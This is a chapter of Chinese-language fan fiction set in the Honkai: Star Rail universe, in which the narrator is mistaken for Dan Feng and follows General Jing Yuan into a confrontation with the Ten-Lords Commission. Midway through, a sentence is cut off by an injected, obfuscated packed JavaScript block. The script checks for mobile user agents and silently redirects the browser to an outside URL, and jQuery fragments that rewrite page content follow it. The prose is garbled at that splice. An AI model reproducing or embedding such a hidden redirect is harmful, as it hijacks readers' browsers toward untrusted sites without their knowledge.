你看见了一些画面。


    朦胧的、迷幻的、存在某种特殊隔膜的——漫长记忆。


    温暖的海水流淌在你的指间。


    你捏着那份因为被反复批注与递送而变得皱巴巴的文件叹了口气,同时谨慎地压低了声音避免让身边人察觉。


    “将军,十王司在催促我们的答复,请我们开通权限。”盘发的女子将一碗苏打豆汁儿搁在桌边,“天舶司派人传话,星穹列车的无名客已到达司辰宫。”


    地衡司早些时候预报过天气,今日无雨。


    你抬手取过碗,仰头一饮而尽,结果发现这根本不是苏打豆汁儿,而是治疗胸闷气短的汤药。


    “还有,持明龙师想见您。”女子动作飞快地收起碗,“他们说需要将军帮忙找一个人。”


    “哦?”你站起身。


    天光明明,照得人眼花。


    “他们说,鳞渊境中跑丢了一个实验体,大概有两个眼睛、一个鼻子、两只耳朵和一个嘴巴。”她平静地说着,“长得很像前任「饮月君」丹枫。”


    “丹枫……”


    你轻轻地重复着这个名字。


    你迈开步伐,你离开了熟悉的世界,你一个人走进了陌生的战场,然后你在影影绰绰的重像中看到了更多的画面。


    一张泛黄的药方飘在空中。


    你伸手抓住了它,逐字逐句地读了出来:“活取持明髓、龙鳞齑粉、混合态持明卵液、梦貘碎角、持明血肉、龙裔丹腑,好一份大逆不轨的方子。”


    “承蒙将军夸赞,不过是我族古老妙术,又得十王襄助……”


    你听到对面叽里咕噜地说了很多话,关于龙祖之力是如何让海中之蟹长出一千条肥美腿钳,让海中之鱼丰腴到形成一座高高的肉山,他们说了太多虚幻缥缈的传说故事,让你听得都厌倦了。你被困在这里太久了,久到渐渐地失去了感知的能力。


    你走进那处秘境的时候,天空突然下起了雨,错乱的蜃影遇水消散。


    潮湿的地面让你纤尘不染的幻象之身感到某种不适应,你回想起了原初汤海中的记忆,但当下的感觉却是更加黏腻,迟滞,仿佛拖住了你的躯体。


    你看见了位于房间中央的「你」。


    此时此刻,你忽然产生了一个疯狂的想法,或许、或许,你还可以做些什么,你只需要一个渠道、途径,让那未竟的遗愿化作新的「真实」。


    你可以做到的。


    你伸出了手。


    正是在这一瞬间,你听到了一个清晰的倒计时在你的脑中不断重复:96、97、98、99、100……


    -


    我看见了一个梦,梦里面我成为了许多人,我有了许多互相矛盾的想法,我无法醒来。


    “深呼吸。”


    温柔但不带任何具体情感的话语。


    景元抬起手,拍着我的背,帮我抚顺呼吸的频率,他到底还是靠近了过来,就像雷池一步,重若千钧。


    「回不去了。」


    “这不可能。”我差点想失态地大喊出来,但还是凭借微薄的克制力扼住了冲动,重又强调道,“我不可能是他。”


    “没事的,你不必焦急。”


    他富有节奏地拍打着我的肩背,换了耐心的语调安抚我:“你需要一点时间来消化这些信息,我会陪着你的。”


    我已经感觉出来了,我再怎么解释,他都不会相信我的。然而下一刻,我不禁又产生另一种恐怖的想法。


    我使劲地推了推他的胸口:“不行,我要吐了。”


    他默默地把我的手推了回来,却没移开,只道:“别吐我身上。”


    一阵沉默。


    虽然穿越这种事情很难解释清楚,但对于生活在一个非常唯心主义且存在各路至高哲学的神之世界的人来说,并不是完全不可接受。


    更何况、更何况……


    我已经明白过来,景元并不需要我告诉他任何“真相”,并不需要我使他相信什么——而是景元在试图令我相信他,相信他所得出的那个结论。


    脊椎传过冰凉的触感。


    于是我彻底清醒了:“你能够向我保证吗?保证他们不会……”


    我无法描述。


    言语在这个关键时候突然哑了火,连联觉信标也救不了我了。


    但他坦诚相告:“我无法保证。”


    “应星”说得实在是太*粗糙的仙舟雅言*的对了,现在我无论如何也没办法否认我是丹枫,而更关键的是,我究竟是不是丹枫无足轻重——


    我只需要扮演好他。


    “这就是你希望的吗?”我凝视着他的双眼,现在那浓金的色彩只剩下锐利。


    如果我是药王秘传的反派,被这么一看,估计会被吓得心脏骤停。


    “不。”他以微小的幅度摇了摇头,却像是在点头,语气严肃,“这是属于你自己的选择。”


    替身文学!这是什么狗血到可以出现在某绿色网站的替身文学!


    “呵呵,绕这么大一个圈子,最终的目的便是透过「我」,唤醒「他」?”我顿了一顿,“为了你私心妄念的那个人?所以,这是关于他的记忆、人格、灵魂,关于他的一切?”


    话说出嘴的一刻,我方才意识到自己的情绪太过激动,以至于口不择言了。


    “不。”他再次摇了摇头,转而微微地扬起了一些笑意,像是在努力掩饰一种锥心之痛,“我只是太忙了。”


    这或许不算假话,又或许他从未对我说过谎,我并不知道何为真相。在罗浮爆发星核之灾后的数个系统日内,他马不停蹄地布置起一环扣一环的计划,让所有人在正确的时候、正确的地点,正确地出场……


    他确实很忙,与我在这里对话都算是某种忙中偷闲了。


    “将军日理万机。”我努力让自己听起来比较诚恳,“不对,我的意思是,我要去,带上我。”


    “无论你接下来想做什么。”我说,“一定不要一个人。”


    根据多年行医经验,我觉得我现在更适合待在精神病院,而不是于此处玩什么真心话大冒险。


    但可惜医者不自医。


    “为什么这么说?”他扬起了眉角,一下子变回了之前那种深不可测的样子,“因为你预见了什么吗?”


    我深呼吸一口气,回答道:“魔↗术↘技↘巧↗。”


    对不起,但这个梗我一定要玩!


    景元收回了他的手,笑容凝固在他的脸上,仿佛一张面具:“如果你执意要来,那便跟紧我吧。”


    他领着我回到原地,雪衣和武弁仍在处理现场,看到她们的时候,我猛然惊觉支离剑还在我的手中。


    当然,这不是真正的「支离剑」。


    却已经有七八分相似。


    然而如今这通体无瑕的剑身中却是血光胜过了漆色,我的手指下意识地一紧,挥刃、出剑,挽出一尺血影。


    “很好,明日之星就是你了。”


    公输师傅朝我走了过来,我不确定他所指何意,然后他说道:“按照将军的意思,一个系统时后工造司对外发布的通告将会宣布这次的「百冶大炼」没有优胜者。”


    “还望您谅解。”景元望向他,“我知道您爱才若渴,但那位白发匠人的身份,暂时还不能对外公布。”


    “罢了,罢了,老夫本也是不报什么希望的,结果倒头来仍旧空欢喜一场。”


    公输师傅的语气听起来颇为怅惘,我翻手收起支离剑,接着被他狠狠地注视了:“不知这把剑能否……”


    “不能。”


    我斩钉截铁地拒绝了,因为感到它隐约透着不寻常的闪光点,毕竟关键道具出现了,肯定有所用处,总不会是BUG吧?


    “这是他留给我最后的念想了。”我捂住心口,故作凄婉地回答,将公输师傅的话头堵得无处发挥。


    最后在景元目光深沉的暗示下,公输师傅识相地撤离了战场,虽然一步三回头,凝望着我们。


    “你仍旧和他很亲近啊。”景元用这种模棱两


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570758|169890||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可的笑意对上我。


    我无法辩白,只能承认:“他是我的伙伴,一直都是。”


    “伙伴。”他笑了笑,眼下的痣随之一动,“我已经很久没有感受过这个词的意义了……”


    白衣青影判官信步而来,公事公办打断了他故意拖长的尾调,然后客气致礼。


    “全部准备好了。”雪衣颔首以答。


    人造月光之下拉出了几道影子,我们跟随她走进工造司内府,回廊盘旋,深入地底,直至一道巍峨的暗门之前。


    “我们要去十王司?”我皱了皱眉,对于事情的走向感到深深的震撼。


    景元看向我,一声轻笑:“假如诸般种种能有这么简单,那么世间也没有什么事是不能迎刃而解的了。”


    “这个词可不兴说。”我感觉出来他的言外之意,但没有顺着他的话说下去,“还是「水到渠成」比较有意境。”


    门嘎吱一声开了。


    我没有来得及得到他的回答,注意力先被房间中央的陈设吸引了过去——他们躺在那里,静静地、毫无声息地躺在那里。


    在我错愕愣神之际,景元突然缓步靠近了过来,以近乎耳语的声音对我说道:“其实我所冀望的唯有一点。”


    “……如果你成为了合格的存在,那便可以在危机之刻顺利接替我的职务,也能我了无遗恨地合眼了。”


    “那符玄会不高兴的吧?”我即答。


    不,我不该这么回答的。


    我应该问他这是什么意思,我应该问他这是在暗示什么,但我仿佛一早便将这种预断先知刻在了条件反射的神经中。


    我并不意外。


    雪衣站在我们的前方,我无比清晰地看到她低垂下头,撩开两侧的青发,露出脖颈后的接口。


    数据线被接入,意识上传、下载……


    我听得到自己呼吸的频率与咔嚓咔嚓的数据处理数列渐渐耦合,宛若同千万游走的灵魂融为一体。


    “从此刻起,与尔等对话的,乃是镇管生死,天尊十王。”


    红色的眼瞳重新睁开。


    “景元。”自幽冥而来的声音藉由偃偶之身发出,“你在将军的位置上待得太久了。”


    “是吗?”景元负手而立,神情无变,“十王久居碧落黄泉,今日初临阳世,便要拿我问罪,是否太着急了一点?”


    “凡数云骑将军撑得过百年关隘者少矣。”十王说话完全不客气,“而你忝居此位七百年者,是时候退位让贤了。”


    “此时可轮不到我来做主。”景元话里话外含着笑意,我不懂为什么,“十王能够说得动元帅放我安心退休,我高兴还来不及呢。”


    高明的人说话,永远半句真半句假,我思来想去,自己也算是百分之八十的死人了,何必惧于十王威严。


    干脆插嘴进来道:“十王摆出如此阵仗,究竟想要做什么?”


    雪衣的脖颈扭过一个常人无法做到的角度,多少令我极为不适,她的声音混杂着十殿阎王的那种高傲与目空一切:“汝之星相不在罗浮仙舟的命盘,我们放你出去,欲汝施行绝力,然则无一事发生,实在令人失望。”


    我陡然回忆起来,十王现在所说的话和当时寒鸦与雪衣在幽囚狱对我所说的一模一样。


    “对于十王来说,阳世的所有皆可为弃子。”我说道,“一艘仙舟沉没了,还有剩下的五艘,牺牲一个人,还有剩下的千千万万,你们的敌人不该是——”


    「■■」


    景元突然看向我的眼神让我感到有些不安。


    “如吾所料,汝之意识受到了外方之界的污染,已经不够纯粹、不够可控。”对方并没有被我的话语激怒,“必须要启动清除程序了。”


    「他」一弹手指。


    四周的香炉登时焚起迷人眼目的浓重青烟。


    我看见景元的身形微微一颤,阵刀撑着地面,原本闪烁着的眸光在一瞬间黯淡下来,无法抵抗地重重倒向我的方位。


    金色的银杏叶飘了出来。